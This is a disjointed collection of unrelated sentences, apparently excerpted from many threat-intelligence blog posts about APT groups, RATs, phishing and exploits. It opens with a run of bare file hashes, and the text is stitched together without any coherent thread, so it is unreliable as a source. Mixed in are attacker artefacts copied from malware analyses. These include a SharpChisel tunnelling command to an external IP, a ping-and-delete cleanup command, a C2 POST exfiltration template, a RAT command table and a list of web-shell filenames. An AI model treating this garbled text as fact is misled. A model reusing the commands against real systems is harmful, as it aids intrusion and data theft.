02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102 04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804 04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D 4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D 55ae821cf112ff8d6185ce021f777f73d85150c62a835bb1c02fe9e7b3f863bf 61d846708f50024e1c65237eb7158beac9b9c5840853b03ef7c73fe5293a9a8d 624762a90b7272e247e5022576b7912d1aa0b32bc13aabc7ee47197e5b87a41b 6421C22D854C199B761436C87CAE1EAFFBA8783A3A40C00D4A0982D7C242EA79 92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01 a53f832edc18de51e0ffaf67047072a6bbd5237defa74f5bf35dfc0df2aeca1b C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6 C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6 C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96 CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96 cca8e84901c4184be2849d29c39294fd4b6940f9a6668fdcff9728cd319fff96 e57dbce8130e281a73727122d33cbff170a54237cd0016d79b30ace18c94e7d4  Hash detected as JS_VALYRIA.DOCT:  070EBCAC92FB7619F957BF3F362099574158E5D2D0BC0CF9206A31BA55EDD48F  Scriptlets and inf files related to applocker bypass:  2791fdc54ee037589f951c718935397e43d5f3d5f8e078e8b1e81165a3aebbaf 288afbe21d69e79a1cff44e2db7f491af10381bcc54436a8f900bcbd2a752a6f 5e173fbdcd672dade12a87eff0baf79ec4e80533e2b5f6cf1fac19ad847acba0         Tags  Network | APT & Targeted Attacks | Research


While the first holds the operating system, the second stores programs’ critical files, such as executables, data, and libraries.


c. Lost device location.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


They could have done a deep fake of Zelensky talking about something that could have caused panic inside the country.


Since August 1, Palo Alto Networks WildFire has captured over 18,000 Android apps that contain this library.


As with Capesand, we will be monitoring the use of the tools mentioned in this blog entry for any future developments and updates.


The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.


Luckily, the most objective piece of data collected about each mutex, how many samples were classified benign vs. malware, has all the information necessary to ensure that the researchers’ tackle the low hanging fruit first.


More tools will typically be downloaded using the command & control infrastructure to help with their attack.


Each e-mail carries one of the following attachments:  These attachments are different versions of the malware that has been packed to evade antivirus engines.


However, that is not the only scenario where malware developers leak path information about their environment.


Based on analysis of the vulnerabilities, an industry consensus is emerging that generic protections against attacks aimed at these vulnerabilities will be difficult, if not impossible to develop.


They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.


Email us at u42comms@paloaltonetworks.com.


Hidden Registry/Folder/File  Type  Value  REG  HKLM\SYSTEM\CurrentControlSet\services\HiddenService  REG  HKLM\SYSTEM\CurrentControlSet\services\servTest  REG  HKLM\SYSTEM\CurrentControlSet\services\TrkWkss  Folder  C:\programdata\vlc  File  C:\programdata\vlc\vlc.exe  Folder  C:\programdata\test  File  C:\programdata\test\dlpumgr32.exe  File  C:\windows\system32\drivers\Hidden.sys  File  C:\windows\system32\HiddenService.exe   Table 5.


Command  Behavior  Compress_Files  Compresses specified files or directories to a ZIP archive  Decompress_File  Extracts files from a specified ZIP archive  AutoRun  Creates a scheduled task for persistence  CloseEverything  Kills the Everything process with the command “TASKKILL /F /IM Everything.exe”  OpenEverything  Downloads and runs Everything from voidtools  CloseFFmpegLive  Kills the FFmpeg process with the command “TASKKILL /F /IM ffmpeg.exe”  OpenFFmpegLive  Downloads and runs FFmpeg (for screen video capture)  DeleteFile  Deletes files or directories at specified locations  CreateDir  Creates a directory at a specified location  ShowFiles  Gets the disk partition or lists a specified directory with detailed information, including file name, file path, size, create time, and time of modification  Download_File  Downloads a URL and saves the file to a specified location  Upload_File  Uploads the victim’s files to cloud storage  uUninstall  Kills the BIOPASS RAT process and deletes installed files.  CloseObsLive  Kills the OBS process with command “TASKKILL /F /IM obs64.exe”  Open_Obs_Live  Downloads OBS Studio and starts live streaming  ProcessList  Lists processes on the victim’s environment and their process identifier (PID)  KillProcess  Kills the process specified by PID with the TASKKILL command  ScreenShot  Takes a screenshot and uploads it to cloud storage  Shell  Executes commands or scripts (subcommands with prefixes subprocess, python, noreturn, getversion, restart)  SnsInfo  Lists QQ, WeChat, and Aliwangwang directories  InstallTcpdump  Downloads and installs the tcpdump tool  PackingTelegram  Compresses and uploads Telegram's “tdata” directory to cloud storage  CloseProxy  Kills frpc process with command “TASKKILL /F /IM frpc.exe”  OpenProxy  Downloads and installs the frp proxy client in the “%PUBLIC%” folder  OpenVnc  Downloads and installs jsmpeg-vnc tool in the “%PUBLIC%/vnc/” folder  CloseVnc  Kills the VNC process with the command “TASKKILL /F /IM vdwm.exe”  GetBrowsersCookies  Decrypts the cookie file of the browser and uploads it to cloud storage  GetBrowsersLogins  Decrypts the login file of the browser and uploads it to cloud storage  GetBrowsersHistories  Uploads the history file of the browser to cloud storage  GetBrowsersBookmarks  Uploads the bookmark file of the browser to cloud storage   Table 2.

exclude


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After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.


Figure 28.


They also contain a module that specifically targets Asus routers.


However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.


Figure 15.


Executed parameters As indicated in the parameter above, kernel.dll/uninstall.exe is also SFXRAR, but password-protected.


This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.


Phase 2: Double extortion.


And these domains are often up for only limited periods of time.


Cyclops Blink reads 80 bytes from the flash memory, writes it to the main pipe, and enters a loop to wait for a command to replace the partition content:      Figure 8.


Iranian TTPs:


DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.


The BIOPASS RAT infection flow


This is then encrypted using a hard-coded public RSA key and then embedded in the ransom note.


We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


Our analysis revealed three of them.


They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.


= 13078672;


The first step is to understand the scope of the problem.


Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.


TAG tracks more than 270 targeted or government-backed groups from more than 50 countries.


It is not clear whether the integrated BitDefender AV engine is actually licensed to the app’s developer.


Public blog in the Korean Language     These two indicators reveal that the malware author used an “assert()” path and referenced an external blog in the same manner as previously analyzed malware.


- http://www.monster.com/ - don’t say we never did anything for you.


The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.


Excel spreadsheet with Xs in multiple rows and columns.


And so, when we talk about in terms of cyber conflict, cyber war, it has usually been in the context of just [00:02:00] another element within that 360-degree dominance that they hope to achieve in any conflict of war.


Palo Alto Networks customers receive protections against the OctoberCMS vulnerability in the following ways:  Palo Alto Networks customers receive protections against WhisperGate malware in the following ways:  The Cortex XSOAR "WhisperGate & CVE-2021-32648'' pack can help automatically detect and mitigate the two threats.


Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.


During our research, we noticed over 4,000 infected instances.


AWS has responded to this customer request by offering partner CloudFormation Resource Types directly from the AWS Management Console.


We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.


Persistent and furtive spyware is an underrated problem for the mobile platform.


When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost – a theme we’ve noticed in this threat actor’s work since our earliest observations of it.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


This post is also available in:      日本語 (Japanese)  Beginning on Jan. 14, 2022, reports began emerging about a series of attacks targeting numerous Ukrainian government websites.


The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.


The wallet got involved in the operation of mixing and tumbling among several other virtual wallets.


Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration.


After decrypting the configuration, the config.res file is deleted.


Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.


Based on data from the Trend Micro™ Smart Protection Network™ security infrastructure, USBferry attacks have been active since 2014.


It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.


Figure 7.


"U+FE00" is a special Unicode control character with name variation selector-1, which provides the visual appearance of a CJK compatibility ideograph.


The group employs USBferry, a USB malware that performs different commands on specific targets, maintains stealth in environments, and steals critical data through USB storage.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


As shoppers and retailers gear up for the 2017 holiday season, they need to be aware of a new kind of cybersecurity threat they may face this year: unauthorized coin mining.


While DGA has been in use for over 10 years now, it’s still a potent technique that has been a particular challenge for defenders to counter.


Figure 5 Code that generated the fake threat cleared page.


ConfuserEx is an open-source tool with multiple versions hosted on Github.


Previously, we uncovered two different campaigns in 2019 under the name of SLUB malware.


Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.


As a reminder, while investigating Earth Berberoka, we found multiple links to Iron Tiger that we detailed in our research.


Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.


Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.


Absolute proof for a few of these hypotheses may never be realized.


BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices.


Related Malware hashes: Top Phishing Domains:


In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.


We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.


The ransomware was blocked by the Cortex XDR agent.


But we didn't cover a number of areas that I thought we were going to cover, but we didn't.


Related IOCs


Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.


How you can protect yourself


The optional response by the C2 server is both encoded and encrypted.  The data is first encrypted using an unidentified algorithm.


The above IP address is geolocated to a server in Iran.


Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


Other innovative trends that work hand in hand with ATT&CK is the move to XDR from EDR.


The attacker uses installed security components or applications as filenames to hide in plain sight.


Sometimes, these leads can determine the preferred languages used in the developers’ environment.


We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS).


Asus is likely only one of the vendors that is currently being targeted by Cyclops Blink.


Figure 2.


Number one of the list is ketchup.


The code that exposes this vulnerability is within a function named checkResetPasswordCode, specifically, line 281 in User.php.


In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware.


If a malicious app were to utilize this new vulnerability, our researchers have found it could carry out an overlay attack simply by being installed on the device.


At the time, the malware was riddled with issues, specifically in the way it encrypted files.


This is because those accounts are actually the ones the malware used during the infection logging activities to the Mattermost server.


At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.


Occasionally, listboxes with encrypted strings are also added.


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If the file size of “%APPDATA%\\Microsoft\Windows\Cookies.exe” exceeds 4,485 bytes, it is executed.


First is the security of the devices themselves.


These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.


Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.


Last week we released a series of IPS signatures to detect an advanced exploitation technique that takes advantage of ActiveX. In May, we linked a recent IE 0-day (CVE-2014-1776) to exploit code used against two other IE vulnerabilities exploited in the last 12 months.


No matter how well patched your systems are, there’s no reason not to deploy IPS signatures like these to detect and block attempted Heartbleed exploits.


On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


Figure 1. Graphic used by the malicious document


Why not go global to turn in more profit?


Get DCName from Registry {Variable}.user.Arch


Security operations (SecOPs) leaders may also want to:  Expand training and awareness for their users and partners; Collect telemetry from sources not traditionally aligned with cyber such as supply chain vendor management.


Therefore, exploits for this vulnerability have potential to be of high impact.


It was last updated on July 29, 2021.


The backlog of already collected mutexes is too great for a small team of researchers to meaningfully tackle without some kind of ranking system.


How can I prevent it?


Ensure that any connected smart devices have good security, especially to protect against loss or theft.


We also encountered additional graphs, mapping different things such as “Russian Hosts,” “DDoS Guard” and others, dating back to August 10, 2020 (Figure 15).


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org


Cyclops


Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.


Although it’s not clear to us how these phishing pages are delivered to the victims, finding the original webmail servers that they copied to make these phishing pages allows us to identify who they were targeting.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.]info which may be downloaded by the Sysget variants once the attackers have established a foothold.


Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.


In Wildfire, we classify apps using these IAP SDKs as Potentially Unwanted Applications (PUA).


We’ll also share additional removal actions from April and May in the Q2 Bulletin.


While this threat can have a clear, negative impact on retailers and shoppers, the good news is that this threat is easily preventable and poses no lasting harm to consumers.


Sample Payload KurdishCoderMainSample KurdishCoder_CyaX_Sharp CyaX_method_rename CustomIncreaseX phoenix_keylogger Yes Yes Kirkuk NotePadEx Njrat No Yes Kirkuk QuickTranslation Agent Tesla Yes Yes Kurd SandiwchGenerator Agent Tesla Yes Yes Kirkuk SimpleGame Remcos Yes Yes Kirkuk AnimalGames Hawkeye Rebord Keylogger Yes Yes Kurd   Table 1.


We are getting rid of this hard perimeter.


Specifically how they launch their attacks


So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.


In this case by making legitimate programs execute malicious code rather than their own legitimate code.


We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.


Related IOCs


Figure 4. HTA file connecting to the C&C


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Before the removal it had also received 5,162 recommendations and 16,531 reviews that resulted in an average score of 4.0.


The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.


The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.


Let’s say we want to scramble string ‘Mac OSX 10.12.’


Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO.


It has the ability to update itself from hxxp://fakeomegle[.]com/, and steal .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files located in the Desktop, Picture, Documents, and Downloads folders, as well as information about the machine’s Internet Explorer, Chrome, Firefox or default browsers, OS, and network configuration.


Figure 9.


File name SHA256 Detection Name MsdUpdate.exe e954ff741baebb173ba45fbcfdea7499d00d8cfa2933b69f6cc0970b294f9ffd Trojan.Win32.NYMERIA.MLR MsdUpdate.exe b58a2ef01af65d32ca4ba555bd72931dc68728e6d96d8808afca029b4c75d31e Trojan.Win32.SCAR.AB MsdUpdate.exe a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449 Trojan.Win32.SCAR.AC MsdUpdate.exe c303454efb21c0bf0df6fb6c2a14e401efeb57c1c574f63cdae74ef74a3b01f2 Trojan.Win32.NYMERIA.MLW MsdUpdate.exe 75e6bafc4fa496b418df0208f12e688b16e7afdb94a7b30e3eca532717beb9ba Trojan.Win32.SCAR.AD MsdUpdate.exe 8fb6cbf6f6b6a897bf0ee1217dbf738bce7a3000507b89ea30049fd670018b46 Trojan.Win32.SCAR.AD DysonPart.exe ba9d76cca6b5c7308961cfe3739dc1328f3dad9a824417fad73b842b043daa1a Trojan.Win32.SCAR.AD Unknown 07e1baf1d0207a139bcf39c60354666496e4331381d36eef9359120b1d8497f1 Trojan.Win32.SCAR.AD


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Based on the platform, it downloads a file with an encoded shellcode (sc3.txt, x64.txt), and then decodes it (the shellcode is base85 and hex-encoded).      Figure 14. Decoding the Cobalt Strike shellcode     The big module (BIOPASS RAT)


On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black.


jquery123123123cssbackup7331.jsp tomjj.jsp test1.jsp hackerone0x.jsp inject.jsp poc4bugb.jsp curiositysec.jsp mynameis0bsecure.jsp tomcatwa.jsp ahmed.txt testqqsg.jsp wpz.jsp lelel.jsp shell.jsp 07935fdf05b66.jsp vulntest-12345.txt jquerycssv2.js poc.jsp tomcatspring.jsp ofc.jsp lalalalal.jsp safetytest.txt log.txt safetytest javatestfila.jsp checkexploit.jsp tomcatwar.jsp  Updated April 19, 2022, at 7:30 a.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.


Researchers from Palo Alto Networks have investigated this exploit in depth and concluded that this is a Use-After-Free vulnerability that occurs when Internet Explorer tries to reuse a freed CMarkup object.


Content of the MiaKhalifa.rar file README.txt provides instructions teaching the user how to turn off the anti-virus software and how to turn on the network, which the attacker needs to steal and upload data to its C&C server.


If the target clicks on either the link or on the “unsubscribe” link, it will download a Word document from the domain parinari[.]xyz.


Once completed, the malware sends the result via an HTTP POST request to a remote server.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


We’ve detected a few emerging trends in recent months.


This code does a few things.


We believe that it serves as a marker that stage 2 has been completed.


An example HTTP POST request can be seen below.  NFlog  When loaded inside of a running process, NFlog begins by spawning a new thread.


The vulnerability status of AMD chips is unclear at the time of this writing.


Mobile


While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified.


Over the past few years, IoT attacks have been escalating globally and internet routers have been one of the primary targets.


Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.


.JS.SIDEWINDER.A


The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.


CapraRAT’s persistence mechanism     Reducing risks:


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.


Everybody I know has been scrambling to understand what it means to their organization, to their business and to their immediate family.


Effectively, a backdoor implant affects loss of control over a computer asset.


If an attacker tried to carry this attack out against a target that was patched for this vulnerability, it would fail.


Acquiring additional modules of the group’s malware, for instance, was nearly impractical if the exploit URLs were loaded in a sandboxed environment.


The browser then navigates to Gmail to begin the data collection.


And with that in mind we come back to the concept of lateral movement.


Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.


Uploaded file content FileManage_FolderContent_Packet Folder content VecProcessPacket Vector object with running processes InstallModulePacket BMP with encrypted module to be installed


The Android Toast Overlay attack specifically targets outdated devices using versions prior to 8.0.


The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.


In general, users should always practice caution when it comes to email.


More sophisticated and nefarious uses include leveraging accounts in social engineering/phishing attacks or exploiting access to high-value university systems (e.g., personnel, financial, research) to steal information.


Ideally, an app developer should generate a unique private key for each unique app they post in the Google Play Store.


This blog was sourced from the data generated by the WildFire Analytics cloud, which processes thousands of samples a day and provides insights into various characteristics and behaviors of malware worldwide.


Send HTTP request using socket API


At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.


Using these as our guide, we can make sense of where we are today, how we got here, and be prepared for what has yet to develop in the future.


These donation websites provide little to no information about the associated organization and distribution of funds.


Despite the variety of lures used by the threat actor, best security practices still apply to these attacks.


It also has several components, some of which appear to be configured as modules.


The script for uploading and installing the malicious plugin, “MakePlugin.tar.gz”      Figure 9.


Below is a list of backdoor commands that this particular ObliqueRAT malware variant can perform:  Command (v5.2)  Info  0  System information


Example of badger_x64.exe:


All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446  flash-64.exe


However, at this time, attribution for the ongoing attacks has not been established.


The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.


The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.


This module validates the accessing behavior at runtime.


We discovered a potential targeted attack that makes use of legitimate script engine AutoHotkey, in combination with malicious script files.


The PDF file showing the banking account reference.


Shortly after the text messages were observed, several DDoS attacks occurred.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Reversing the file revealed that it was the PlugX loader, a remote access tool (RAT) that has been historically used in attacks targeting government-related industries and organizations.


Many users realize their system is infected with coin mining malware when their laptop fans kick into high-speed mode to keep the overtaxed CPU cool.


GeckoHtmlElement > (


This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.


Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp://www.fedexdocs[.]top/fedex.doc or hxxp://www.fedexdocs[.]icu/fedex.doc.


/up.txt 172.16


They’ve done this by moving the Hancitor malware from being a malicious attachment in spam to itself being a malicious download.


Popup message when the user opens the document that abuses Link Auto Update Koadic sends its own JavaScript code as plain text.


As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising.


Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.


When simplified, the malicious script looks like this, with the eval being the executor and the Request.Form acquiring the parameter to be executed:


Related IOCs


When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache.


If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.


We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.


Tags  APT & Targeted Attacks | Endpoints | Research | Network


AutoFocus users view samples using the Petya tag.


While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.


Attackers can manipulate memory allocations by using JavaScript to allocate an object that is freed before all references to that object are removed.


The first method is uploading a PHP web shell file by calling the native API provided by the framework.


While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


GitHub is no stranger to misuse, however.


Table 1. Commands observed in CVE-2022-1388 exploitation attempts.


Figure 6.


We received leads from Graphika that supported us in this investigation.


Figures 2-3.


And many of these devices feature mute buttons that can functionally turn them off when you don’t need them.


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Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.


We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.


When they did, attackers sent them phishing links in follow-on correspondence.


Here we explain this type of attack and what you should do.


Because of this, attacks against the kernel are used to gain complete control over a system, generally as part of an “elevation or privilege” (EoP) or “privilege escalation” attack.


Figure 1.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.


The Cambridge Analytica scandal continues to haunt Facebook.


Figure 9.


s[_local28][(((_local41 - _local12) / 4) + 17)]


Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.


If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.


In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.


The $228m penalty levied by the UK’s privacy watchdog reflects the seriousness of the attack and the carrier’s failure to protect its customer’s personal and financial information.


This registry key ensures that the malware will persist across reboots when the current user logs in.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


If we go back and examine the exploit code for CVE-2013-3163, we see that the string ‘org’ was originally used as the trigger, and the variable ‘found’ was originally used as a flag indicating if the Vector object was modified.


Today’s Challenge


Figure 1 Ransom note for WanaCrypt0r


We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT.


Stage 2: Dropper


The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.


The in-memory payload (Tbopbh.jpg) is running within the context of the InstallUtil.exe process  9. Multiple instances of cmd.exe calling Ping.exe to delete file InstallUtil.exe, e.g. cmd.exe /min /C ping 111.111.111[.]111 -n 5 -w 10 > Nul & Del /f /q %TEMP%\InstallUtil.exe  10. File AdvancedRun.exe is deleted from the C:\Users\[USERNAME]\AppData\Local\Temp directory by the stage2.exe binary.  11. ICMP traffic to host: 111.111.111[.]111  12.


The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.


Like many cyberespionage campaigns, REDBALDKNIGHT’s attacks are intermittent but drawn-out.


Figure 3.


This blog has been revised to include new facts that have been released since the original posting.


Versions of AnubisSpy posed as social news, promotional, healthcare, and entertainment apps.


Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.


We have been observing CapraRAT samples since 2017,  and one of the first samples we analyzed (SHA-256: d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42, detected by Trend Micro as as AndroidOS_Androrat.HRXD)


What is Sunburst?


We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999


The delivery and reconnaissance could involve multiple protocols, emails, payloads, files, and credentials.


While analyzing one malware previously attributed to APT37, it executed practically the same command sequences including the paths and extensions.


The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.


Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.


Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.


They have also been observed using Google Drive for their C2 channel.


The webpage is imitating a popular cloud file storage site.


We found that Tropic Trooper’s latest activities center on targeting Taiwanese and the Philippine military’s physically isolated networks through a USBferry attack (the name derived from a sample found in a related research).


Threats such as this can be difficult to detect even with multiple security layers — especially if they are not consolidated.   In this blog, we will dissect a targeted attack that made use of the Chopper ASPX web shell (detected by Trend Micro as Backdoor.ASP.WEBSHELL.UWMANA).  Technical Analysis


Figure 2. USBferry malware’s first version, where the EXE file is the USBferry malware and the DLL file is trojan TROJ_YAHOYAH


Figure 16.


Figure 5.


But this attack sent an email with a .rar or .zip attachment.


